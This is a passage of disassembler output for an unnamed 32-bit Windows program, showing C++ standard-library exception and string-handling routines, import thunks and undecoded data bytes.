; ---------------------------------------------------------------------------


loc_437326:				; CODE XREF: sub_437270+64j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		cmp	[ebp+arg_4], edx
		jnz	short loc_437336
		jmp	short loc_43733B
; ---------------------------------------------------------------------------


loc_437336:				; CODE XREF: sub_437270:loc_437324j
					; sub_437270+C2j
		jmp	loc_43729E
; ---------------------------------------------------------------------------


loc_43733B:				; CODE XREF: sub_437270+4Dj
					; sub_437270+C4j
		push	19h
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	[ebp+arg_4], eax
		jnz	short loc_437357
		mov	eax, [ebp+arg_0]
		jmp	short loc_437359
; ---------------------------------------------------------------------------


loc_437357:				; CODE XREF: sub_437270+E0j
		xor	eax, eax


loc_437359:				; CODE XREF: sub_437270+1Dj
					; sub_437270+86j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_437270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437360	proc near		; CODE XREF: sub_40D4B2+15p
					; sub_40D546+15p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_437360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_40D45F
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_437510
		push	offset dword_43B2D0
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_437F60
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_437360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4373C0	proc near		; CODE XREF: sub_437450+10p
					; sub_437630+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4373C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	sub_437CE0
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40D435
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_43AF98
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4373C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437430	proc near		; DATA XREF: seg001:0043AF9Co
					; seg001:0043AFACo ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0Ch
		call	sub_40D521
		mov	esp, ebp
		pop	ebp
		retn
sub_437430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437450	proc near		; DATA XREF: seg001:0043AFA0o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_4373C0
		push	offset dword_43B340
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_437F60
		mov	esp, ebp
		pop	ebp
		retn
sub_437450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437480	proc near		; CODE XREF: sub_4374E0+Ap
					; sub_4375B0+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_437480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_43AF98
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40D482
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_437DA0
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_437480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4374E0	proc near		; DATA XREF: seg001:off_43AF98o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_437480
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_437505
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41FCE0
		add	esp, 4


loc_437505:				; CODE XREF: sub_4374E0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4374E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437510	proc near		; CODE XREF: sub_437360+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_437540
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43AFA8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437540	proc near		; CODE XREF: sub_437510+Ep
					; sub_4376C0+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_437540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_439EB4
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_437C70
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_40D435
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_43AF98
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4375B0	proc near		; CODE XREF: sub_437600+Ap
					; DATA XREF: seg001:0043B2D4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43AFA8
		mov	ecx, [ebp+var_4]
		call	sub_437480
		mov	esp, ebp
		pop	ebp
		retn
sub_4375B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4375D0	proc near		; DATA XREF: seg001:0043AFB0o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_437630
		push	offset dword_43B2D0
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_437F60
		mov	esp, ebp
		pop	ebp
		retn
sub_4375D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437600	proc near		; DATA XREF: seg001:off_43AFA8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4375B0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_437625
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41FCE0
		add	esp, 4


loc_437625:				; CODE XREF: sub_437600+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437630	proc near		; CODE XREF: sub_4375D0+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4373C0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43AFA8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437660	proc near		; CODE XREF: sub_40D5B0+17p
					; sub_40D82F+Ep

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_437660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_40D45F
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_4376C0
		push	offset dword_43B3D0
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_437F60
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_437660	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4376C0	proc near		; CODE XREF: sub_437660+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_437540
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43AFD0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4376C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4376F0	proc near		; CODE XREF: sub_437740+Ap
					; DATA XREF: seg001:0043B3D4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43AFD0
		mov	ecx, [ebp+var_4]
		call	sub_437480
		mov	esp, ebp
		pop	ebp
		retn
sub_4376F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437710	proc near		; DATA XREF: seg001:0043AFD8o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_437770
		push	offset dword_43B3D0
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_437F60
		mov	esp, ebp
		pop	ebp
		retn
sub_437710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437740	proc near		; DATA XREF: seg001:off_43AFD0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4376F0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_437765
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41FCE0
		add	esp, 4


loc_437765:				; CODE XREF: sub_437740+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437770	proc near		; CODE XREF: sub_437710+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4373C0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43AFD0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4377A0	proc near		; DATA XREF: seg002:0043C010o
		push	ebp
		mov	ebp, esp
		call	sub_40D9FE
		call	sub_4377C0
		call	sub_4377E0
		call	sub_437810
		pop	ebp
		retn
sub_4377A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4377C0	proc near		; CODE XREF: sub_4377A0+8p
		push	ebp
		mov	ebp, esp
		push	offset nullsub_1
		call	sub_41FE70
		add	esp, 4
		pop	ebp
		retn
sub_4377C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4377E0	proc near		; CODE XREF: sub_4377A0+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, ds:byte_4F0098
		and	eax, 1
		test	eax, eax
		jnz	short loc_437800
		mov	cl, ds:byte_4F0098
		or	cl, 1
		mov	ds:byte_4F0098,	cl


loc_437800:				; CODE XREF: sub_4377E0+Fj
		pop	ebp
		retn
sub_4377E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437810	proc near		; CODE XREF: sub_4377A0+12p
		push	ebp
		mov	ebp, esp
		push	offset sub_437830
		call	sub_41FE70
		add	esp, 4
		pop	ebp
		retn
sub_437810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437830	proc near		; DATA XREF: sub_437810+3o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_437830	endp

; ---------------------------------------------------------------------------
		align 2
		jmp	ds:dword_4F14F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_437842	proc near		; CODE XREF: sub_40CDDB+5Ep
					; seg000:0040FE17p ...
		jmp	ds:dword_4F14EC
sub_437842	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14D0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14CC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14C8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14C4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14C0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14BC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14B4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14AC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14A8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F14A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F12F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F12F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F12FC
; ---------------------------------------------------------------------------
		dw 35E8h
		dd 1AFFF987h, 0F9872FE8h, 29E8A1FFh, 30FFF987h,	130C25FFh
		dd 25FF004Fh, 4F1310h, 131425FFh, 11E8004Fh, 13FFF987h
		dd 131C25FFh, 5E8004Fh,	0FEFFF987h, 0F986FFE8h,	0F9E807FFh
		dd 47FFF986h, 0F986F3E8h, 0EDE8F5FFh, 0F0FFF986h, 133425FFh
		dd 0E1E8004Fh, 0E5FFF986h, 0F986DBE8h, 25FFD0FFh, 4F1340h
		dd 0F986CFE8h, 0C9E81EFFh, 0C0FFF986h, 0F986C3E8h, 0BDE8CBFFh
		dd 0F0FFF986h, 135425FFh, 25FF004Fh, 4F1358h, 0F986ABE8h
		dd 25FFA5FFh, 4F1360h, 136425FFh, 25FF004Fh, 4F1368h, 136C25FFh
		dd 25FF004Fh, 4F1370h, 137425FFh, 81E8004Fh, 8CFFF986h
		dd 0F9867BE8h, 25FF46FFh, 4F1380h, 138425FFh, 69E8004Fh
		dd 9BFFF986h, 0F98663E8h, 5DE887FFh, 6EFFF986h,	0F98657E8h
		dd 51E8C3FFh, 47FFF986h, 0F9864BE8h, 45E800FFh,	17FFF986h
		dd 0F9863FE8h, 39E8BCFFh, 9BFFF986h, 0F98633E8h, 25FFCAFFh
		dd 4F13B0h, 13B425FFh, 25FF004Fh, 4F13B8h, 0F9861BE8h
		dd 15E8E3FFh, 0E2FFF986h, 0F9860FE8h, 25FFE9FFh, 4F13C8h
		dd 0F98603E8h, 0FDE899FFh, 0F9FFF985h, 0F985F7E8h, 25FF1CFFh
		dd 4F13D4h, 13D825FFh, 0E5E8004Fh, 58FFF985h, 0F985DFE8h
		dd 0D9E85AFFh, 39FFF985h, 0F985D3E8h, 0CDE834FFh, 33FFF985h
		dd 0F985C7E8h, 0C1E82AFFh, 25FFF985h, 13F825FFh, 0B5E8004Fh
		dd 56FFF985h, 0F985AFE8h, 0A9E85DFFh, 40FFF985h, 0F985A3E8h
		dd 9DE84BFFh, 0A9FFF985h, 0F98597E8h, 25FFD1FFh, 4F1414h
		dd 0F9858BE8h, 85E866FFh, 4FFFF985h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_437A7C	proc near		; CODE XREF: sub_41F520+27p
					; sub_41F890+13p
		jmp	ds:dword_4F1420
sub_437A7C	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_4F1424
; ---------------------------------------------------------------------------
		jmp	ds:dword_4F1428
; ---------------------------------------------------------------------------
		dw 6DE8h
; ---------------------------------------------------------------------------
		test	edi, ecx
		jmp	dword ptr [esi-67A9818h]
; ---------------------------------------------------------------------------
		dd 25FFBDFFh, 4F1434h, 143825FFh, 55E8004Fh, 8CFFF985h
		dd 0F9854FE8h, 25FF87FFh, 4F1444h, 0F98543E8h, 25FFA9FFh
		dd 4F144Ch, 145025FFh, 25FF004Fh, 4F1454h, 145825FFh, 25FF004Fh
		dd 4F145Ch, 146025FFh, 25FF004Fh, 4F1464h, 0F98513E8h
		dd 25FFC5FFh, 4F146Ch, 147025FFh, 25FF004Fh, 4F1474h, 147825FFh
		dd 25FF004Fh, 4F147Ch, 0F984EFE8h, 0E9E822FFh, 3DFFF984h
		dd 0F984E3E8h, 0DDE838FFh, 0B8FFF984h, 0F984D7E8h, 0D1E80FFFh
		dd 9FFF984h, 149825FFh,	0C5E8004Fh, 12FFF984h, 12F025FFh
		dd 25FF004Fh, 4F12ECh, 0F984B3E8h, 25FF6DFFh, 4F12E4h
		dd 12E025FFh, 25FF004Fh, 4F12DCh, 0F9849BE8h, 95E89AFFh
		dd 41FFF984h, 0F9848FE8h, 25FF54FFh, 4F12CCh, 12C825FFh
		dd 7DE8004Fh, 47FFF984h, 0F98477E8h, 71E8BEFFh,	0B1FFF984h
		dd 0F9846BE8h, 65E8ACFFh, 0ABFFF984h, 0F9845FE8h, 25FF4CFFh
		dd 4F12ACh, 12A825FFh, 25FF004Fh, 4F12A4h, 0F98447E8h
		dd 0CCCC89FFh, 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437BC0	proc near		; CODE XREF: sub_4176D7+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_437BCE
		xor	eax, eax
		jmp	short loc_437C03
; ---------------------------------------------------------------------------


loc_437BCE:				; CODE XREF: sub_437BC0+8j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41AE40
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_437C01
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41E550
		add	esp, 8
		jmp	short loc_437C03
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BC0+2Dj
		xor	eax, eax


loc_437C03:				; CODE XREF: sub_437BC0+Cj
					; sub_437BC0+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_437BC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_43AFE0
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437C40	proc near		; DATA XREF: seg001:off_43AFE0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_437DA0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_437C65
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41FCE0
		add	esp, 4


loc_437C65:				; CODE XREF: sub_437C40+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437C70	proc near		; CODE XREF: sub_437540+2Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_43AFE0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41FD90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+4], 0
		jz	short loc_437CC6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	sub_41E550
		add	esp, 8


loc_437CC6:				; CODE XREF: sub_437C70+3Fj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+8], 1
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437CE0	proc near		; CODE XREF: sub_4373C0+23p
					; seg000:00437D8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_43AFE0
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_437D4F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41FD90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_437D4D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41E550
		add	esp, 8


loc_437D4D:				; CODE XREF: sub_437CE0+55j
		jmp	short loc_437D5B
; ---------------------------------------------------------------------------


loc_437D4F:				; CODE XREF: sub_437CE0+25j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx


loc_437D5B:				; CODE XREF: sub_437CE0:loc_437D4Dj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_437CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	eax, [ebp+8]
		jz	short loc_437D93
		mov	ecx, [ebp-4]
		call	sub_437DA0
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_437CE0


loc_437D93:				; CODE XREF: seg000:00437D7Dj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437DA0	proc near		; CODE XREF: sub_437480+41p
					; sub_437C40+Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_43AFE0
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_437DD0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41FCE0
		add	esp, 4


loc_437DD0:				; CODE XREF: sub_437DA0+19j
		mov	esp, ebp
		pop	ebp
		retn
sub_437DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437DE0	proc near		; DATA XREF: seg001:0043AFE4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_437DF8
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+4]
		jmp	short loc_437DFD
; ---------------------------------------------------------------------------


loc_437DF8:				; CODE XREF: sub_437DE0+Ej
		mov	eax, offset aUnknownExcepti ; "Unknown exception"


loc_437DFD:				; CODE XREF: sub_437DE0+16j
		mov	esp, ebp
		pop	ebp
		retn
sub_437DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437E10	proc near		; CODE XREF: sub_437E50+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43B000
		push	1Bh
		call	sub_421A80
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_437E42
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		push	eax
		call	sub_421F00
		add	esp, 4


loc_437E42:				; CODE XREF: sub_437E10+21j
		push	1Bh
		call	sub_421B20
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_437E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437E50	proc near		; DATA XREF: seg001:off_43B000o

var_4		= dword	ptr -4
